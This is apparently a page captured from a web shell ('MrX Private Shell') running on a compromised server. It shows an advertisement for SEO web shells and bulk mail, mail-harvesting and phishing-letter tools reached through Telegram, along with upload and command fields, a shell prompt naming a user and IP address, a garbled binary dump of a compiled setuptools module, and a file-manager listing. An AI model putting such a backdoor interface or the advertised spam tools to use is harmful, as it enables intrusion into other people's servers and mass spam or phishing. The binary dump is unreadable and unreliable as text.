__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
B

��Re��@s�dZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
ddddd	d
dgZGdd	�d	e�Zd
d�Z
e
dfdd�Ze
fdd�Ze
fdd�Zdd�Zdd�Ze
fdd�ZeeefZdS)z/Utilities for extracting common archive formats�N)�DistutilsError)�ensure_directory�unpack_archive�unpack_zipfile�unpack_tarfile�default_filter�UnrecognizedFormat�extraction_drivers�unpack_directoryc@seZdZdZdS)rz#Couldn't recognize the archive typeN)�__name__�
__module__�__qualname__�__doc__�rr��/builddir/build/BUILDROOT/alt-python37-setuptools-58.3.0-4.el8.x86_64/opt/alt/python37/lib/python3.7/site-packages/setuptools/archive_util.pyrscCs|S)z@The default progress/filter callback; returns True for all filesr)�src�dstrrrrsc	CsNxH|ptD]0}y||||�Wntk
r4w
Yq
XdSq
Wtd|��dS)a�Unpack `filename` to `extract_dir`, or raise ``UnrecognizedFormat``

    `progress_filter` is a function taking two arguments: a source path
    internal to the archive ('/'-separated), and a filesystem path where it
    will be extracted.  The callback must return the desired extract path
    (which may be the same as the one passed in), or else ``None`` to skip
    that file or directory.  The callback can thus be used to report on the
    progress of the extraction, as well as to filter the items extracted or
    alter their extraction paths.

    `drivers`, if supplied, must be a non-empty sequence of functions with the
    same signature as this function (minus the `drivers` argument), that raise
    ``UnrecognizedFormat`` if they do not support extracting the designated
    archive type.  The `drivers` are tried in sequence until one is found that
    does not raise an error, or until all are exhausted (in which case
    ``UnrecognizedFormat`` is raised).  If you do not supply a sequence of
    drivers, the module's ``extraction_drivers`` constant will be used, which
    means that ``unpack_zipfile`` and ``unpack_tarfile`` will be tried, in that
    order.
    Nz!Not a recognized archive type: %s)r	r)�filename�extract_dir�progress_filterZdriversZdriverrrrrscCs�tj�|�std|��|d|fi}x�t�|�D]�\}}}||\}}x4|D],}	||	dtj�||	�f|tj�||	�<qLWx\|D]T}
tj�||
�}|||
|�}|s�q�t|�tj�||
�}
t�|
|�t�	|
|�q�Wq0WdS)z�"Unpack" a directory, using the same interface as for archives

    Raises ``UnrecognizedFormat`` if `filename` is not a directory
    z%s is not a directory��/N)
�os�path�isdirr�walk�joinr�shutil�copyfile�copystat)rrr�paths�base�dirs�filesrr�d�f�targetrrrr
@s 
,
c
Cs�t�|�std|f��t�|���}x�|��D]�}|j}|�d�s.d|�d�krRq.tj	j
|f|�d���}|||�}|szq.|�d�r�t|�n4t|�|�
|j�}t|d��}|�|�WdQRX|jd?}	|	r.t�||	�q.WWdQRXdS)z�Unpack zip `filename` to `extract_dir`

    Raises ``UnrecognizedFormat`` if `filename` is not a zipfile (as determined
    by ``zipfile.is_zipfile()``).  See ``unpack_archive()`` for an explanation
    of the `progress_filter` argument.
    z%s is not a zip filerz..�wbN�)�zipfile�
is_zipfiler�ZipFile�infolistr�
startswith�splitrrr�endswithr�read�open�write�
external_attr�chmod)
rrr�z�info�namer&�datar%Zunix_attributesrrrr[s(




cCs�xV|dk	rV|��s|��rV|j}|��rJt�|j�}t�||�}t�|�}|�|�}qW|dk	on|�	�pn|�
�}|rx|Std��dS)z;Resolve any links and extract link targets as normal files.NzGot unknown file type)�islnk�issym�linkname�	posixpath�dirnamer7r�normpath�
_getmember�isfiler�LookupError)�tar_objZtar_member_obj�linkpathr!Zis_file_or_dirrrr�_resolve_tar_file_or_dir�s

rDc
cs�dd�|_t�|���x�|D]�}|j}|�d�sd|�d�kr@qtjj|f|�d���}yt	||�}Wnt
k
r|wYnX|||�}|s�q|�tj�r�|dd�}||fVqWWdQRXdS)z1Emit member-destination pairs from a tar archive.cWsdS)Nr)�argsrrr�<lambda>��z _iter_open_tar.<locals>.<lambda>rz..N���)
�chown�
contextlib�closingr7r-r.rrrrDrAr/�sep)rBrr�memberr7Z
prelim_dst�	final_dstrrr�_iter_open_tar�s"


rOc
Cs�yt�|�}Wn4tjk
rB}ztd|f�|�Wdd}~XYnXx@t|||�D]0\}}y|�||�WqRtjk
r�YqRXqRWdS)z�Unpack tar/tar.gz/tar.bz2 `filename` to `extract_dir`

    Raises ``UnrecognizedFormat`` if `filename` is not a tarfile (as determined
    by ``tarfile.open()``).  See ``unpack_archive()`` for an explanation
    of the `progress_filter` argument.
    z/%s is not a compressed or uncompressed tar fileNT)�tarfiler1�TarErrorrrO�_extract_member�ExtractError)rrr�tarobj�erMrNrrrr�s

)rr)rPrrr<rJ�distutils.errorsr�
pkg_resourcesr�__all__rrrr
rrDrOrr	rrrr�<module>s(
"%

Filemanager

Name Type Size Permission Actions
__init__.cpython-37.pyc File 8.46 KB 0644
_deprecation_warning.cpython-37.pyc File 590 B 0644
_imp.cpython-37.pyc File 2.08 KB 0644
archive_util.cpython-37.pyc File 5.61 KB 0644
build_meta.cpython-37.pyc File 8.72 KB 0644
config.cpython-37.pyc File 20.18 KB 0644
dep_util.cpython-37.pyc File 899 B 0644
depends.cpython-37.pyc File 5.07 KB 0644
dist.cpython-37.pyc File 35.63 KB 0644
errors.cpython-37.pyc File 890 B 0644
extension.cpython-37.pyc File 1.92 KB 0644
glob.cpython-37.pyc File 3.63 KB 0644
installer.cpython-37.pyc File 2.72 KB 0644
launch.cpython-37.pyc File 919 B 0644
monkey.cpython-37.pyc File 4.51 KB 0644
msvc.cpython-37.pyc File 41.69 KB 0644
namespaces.cpython-37.pyc File 3.5 KB 0644
package_index.cpython-37.pyc File 31.5 KB 0644
py34compat.cpython-37.pyc File 524 B 0644
sandbox.cpython-37.pyc File 15.1 KB 0644
unicode_utils.cpython-37.pyc File 1.12 KB 0644
version.cpython-37.pyc File 370 B 0644
wheel.cpython-37.pyc File 6.99 KB 0644
windows_support.cpython-37.pyc File 1.03 KB 0644